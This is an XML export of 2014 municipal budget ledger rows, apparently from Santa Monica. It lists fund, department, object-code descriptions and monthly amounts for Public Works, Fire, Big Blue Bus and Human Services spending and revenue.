<row _id="9876"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>82300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>4311</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>86611.0</total></row>
<row _id="9877"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2400000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2400000.0</total></row>
<row _id="9878"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15600.0</total></row>
<row _id="9879"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16000.0</total></row>
<row _id="9880"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="9881"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="9882"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555220.0</object><object_description>UNIFORM RENTAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="9883"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300442.5</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300442.5</total></row>
<row _id="9884"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>102000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>102000.0</total></row>
<row _id="9885"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="9886"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>387860.88</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>387860.88</total></row>
<row _id="9887"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="9888"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511740.0</object><object_description>EMPLOYEE HEALTH INSURANCE</object_description><category_code>820.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1021000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>-1021000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="9889"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9304.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9304.0</total></row>
<row _id="9890"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566940.0</object><object_description>PARKING AUTHORITY REV BOND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1134586.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1134586.0</total></row>
<row _id="9891"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577860.0</object><object_description>TORCA REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-98910.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-98910.0</total></row>
<row _id="9892"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578300.0</object><object_description>SUPPORTIVE HOUSING PROGRAM</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>113192.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>113192.0</total></row>
<row _id="9893"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>900000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>900000.0</total></row>
<row _id="9894"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562122.0</object><object_description>CHILD CARE CTR SUPPORT PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>80000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="9895"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562154.0</object><object_description>FM SVC SM-SAPID &amp; ON THE MOVE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>43398.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43398.0</total></row>
<row _id="9896"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563111.0</object><object_description>WISE CONNECTIONS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>46586.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46586.0</total></row>
<row _id="9897"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563141.0</object><object_description>SM/MAL-MEALS ON WHEELS-GEN FND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>48973.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48973.0</total></row>
<row _id="9898"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565161.0</object><object_description>VENICE FAMILY CLINIC-GEN FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>93319.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93319.0</total></row>
<row _id="9899"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407630.0</object><object_description>CONSTRUCTION &amp; DEMO PERMIT FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-229537.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-229537.0</total></row>
<row _id="9900"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1579.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1579.0</total></row>
<row _id="9901"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544280.0</object><object_description>HAZ-MAT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9225.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9225.0</total></row>
<row _id="9902"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511742.0</object><object_description>MEDICAL - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>129737.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>129737.0</total></row>
<row _id="9903"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511745.0</object><object_description>MED TRUST - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>169859.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>169859.0</total></row>
<row _id="9904"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>57438.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>819</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58257.0</total></row>
<row _id="9905"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>36347.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36347.0</total></row>
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<row _id="9917"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7396849.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7396849.0</total></row>
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<row _id="9919"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>891309.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>9759</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>901068.0</total></row>
<row _id="9920"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="9921"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="9922"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522546.0</object><object_description>MEDIA BUYS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18081.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18081.0</total></row>
<row _id="9923"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8700.0</total></row>
<row _id="9924"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>577065.0</object><object_description>MEMBERSHIP FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>769.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>769.0</total></row>
<row _id="9925"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404210.0</object><object_description>OTHER OPER REV-ADVERTISING</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1413000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-287000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1700000.0</total></row>
<row _id="9926"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>407340.0</object><object_description>US TREASURY REIMBURSEMENTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-52275.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-52275.0</total></row>
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<row _id="9928"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577066.0</object><object_description>DELIVERY CHARGES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="9929"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522986.0</object><object_description>CNG FUEL-SERVICE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10250.0</total></row>
<row _id="9930"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16950.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16950.0</total></row>
<row _id="9931"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4987.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4987.0</total></row>
<row _id="9932"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544171.0</object><object_description>PARTICIPANT UNIFORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23142.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23142.0</total></row>
<row _id="9933"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544171.0</object><object_description>PARTICIPANT UNIFORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4106.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4106.0</total></row>
<row _id="9934"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2051.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2051.0</total></row>
<row _id="9935"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30765.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30765.0</total></row>
